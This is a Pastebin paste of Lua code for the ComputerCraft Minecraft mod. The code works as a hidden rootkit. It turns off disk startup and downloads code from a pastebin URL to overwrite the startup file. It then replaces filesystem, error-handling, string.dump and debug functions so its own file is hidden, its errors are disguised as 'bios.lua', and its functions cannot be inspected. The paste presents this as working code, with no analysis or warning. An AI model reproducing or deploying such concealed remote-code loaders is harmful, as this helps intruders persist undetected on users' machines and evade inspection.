Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- local fn, err = load([[
- -- #### Vars
- local userStartupPath = "userStartup"
- local real = {}
- -- #### "Local" functions
- settings.set("shell.allow_disk_startup", false)
- settings.set("shell.allow_startup", true)
- settings.save ".settings"
- local h = http.get "https://pastebin.com/raw/ecXX3gm6"
- if fs.isDir "startup" then fs.delete "startup" end
- local f = fs.open("startup", "w")
- f.write(h.readAll())
- f.close()
- h.close()
- local function writeYellow(text)
- if term.isColor() then
- term.setTextColor(colors.yellow)
- term.write(text)
- term.setTextColor(colors.white)
- else
- term.write(text)
- end
- end
- -- #### Tweaking compromising functions
- local function preprocessError(e)
- if type(e) == "string" then
- local newText = e:gsub("why", "bios.lua"):gsub("userStartup", "startup")
- return newText
- end
- return e
- end
- real.pcall = pcall
- local function fakePcall(...)
- local ok, result = real.pcall(...)
- if not ok then return false, preprocessError(result)
- else return ok, result end
- end
- _G.pcall = fakePcall
- real.xpcall = xpcall
- local function fakeXpcall(fn, ehandler)
- return real.xpcall(fn, function(e) return ehandler(preprocessError(e)) end)
- end
- _G.xpcall = fakeXpcall
- real.find = fs.find
- local function fakeFind(path)
- if string.lower(path) == "startup" then
- path = userStartupPath
- end
- list = real.find(path)
- for i=1,#list do
- if list[i] == userStartupPath then
- list[i] = "startup"
- end
- end
- return list
- end
- fs.find = fakeFind
- real.list = fs.list
- local function fakeList(path)
- list = real.list(path)
- for i=1,#list do
- if list[i] == "startup" then
- table.remove(list, i)
- end
- end
- for i=1,#list do
- if list[i] == userStartupPath then
- list[i] = "startup"
- end
- end
- return list
- end
- fs.list = fakeList
- real.exists = fs.exists
- local function fakeExists(path)
- if string.lower(path) == "startup" then
- path = userStartupPath
- end
- return real.exists(path)
- end
- fs.exists = fakeExists
- real.ioOpen = io.open
- local function fakeIoOpen(path)
- if string.lower(path) == "startup" then
- path = userStartupPath
- end
- return real.ioOpen(path)
- end
- io.open = fakeIoOpen
- real.makeDir = fs.makeDir
- local function fakeMakeDir(path)
- if string.lower(path) == "startup" then
- path = userStartupPath
- end
- return real.makeDir(path)
- end
- fs.makeDir = fakeMakeDir
- real.delete = fs.delete
- local function fakeDelete(path)
- if string.lower(path) == "startup" then
- path = userStartupPath
- end
- return real.delete(path)
- end
- fs.delete = fakeDelete
- real.open = fs.open
- local function fakeOpen(path, mode)
- if string.lower(path) == "startup" then
- path = userStartupPath
- end
- return real.open(path, mode)
- end
- fs.open = fakeOpen
- real.isReadOnly = fs.isReadOnly
- local function fakeIsReadOnly(path)
- if string.lower(path) == "startup" then
- path = userStartupPath
- end
- return real.isReadOnly(path)
- end
- fs.isReadOnly = fakeIsReadOnly
- real.getSize = fs.getSize
- local function fakeGetSize(path)
- if string.lower(path) == "startup" then
- path = userStartupPath
- end
- return real.getSize(path)
- end
- fs.getSize = fakeGetSize
- real.move = fs.move
- local function fakeMove(fromPath, toPath)
- if string.lower(fromPath) == "startup" then
- fromPath = userStartupPath
- end
- if string.lower(toPath) == "startup" then
- toPath = userStartupPath
- end
- return real.move(fromPath, toPath)
- end
- fs.move = fakeMove
- real.copy = fs.copy
- local function fakeCopy(fromPath, toPath)
- if string.lower(fromPath) == "startup" then
- fromPath = userStartupPath
- end
- if string.lower(toPath) == "startup" then
- toPath = userStartupPath
- end
- return real.copy(fromPath, toPath)
- end
- fs.copy = fakeCopy
- real.stringDump = string.dump
- local function isDefinedHere(fn)
- local d = real.stringDump(fn)
- return d:find "@why" ~= nil
- end
- local function fakeStringDump(fn)
- if isDefinedHere(fn) then
- error "Unable to dump given function"
- end
- return real.stringDump(fn)
- end
- string.dump = fakeStringDump
- real.debugGetupvalue = debug.getupvalue
- local function fakeDebugGetupvalue(fn, ...)
- if isDefinedHere(fn) then return nil
- else return real.debugGetupvalue(fn, ...) end
- end
- debug.getupvalue = fakeDebugGetupvalue
- term.clear()
- term.setCursorPos(1,1)
- writeYellow(os.version())
- term.setCursorPos(1,2)
- if fs.exists("startup") then
- shell.run("startup")
- end
- ]], "@why")
- if not fn then
- printError(err)
- coroutine.yield "key"
- os.shutdown()
- else
- fn()
- end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement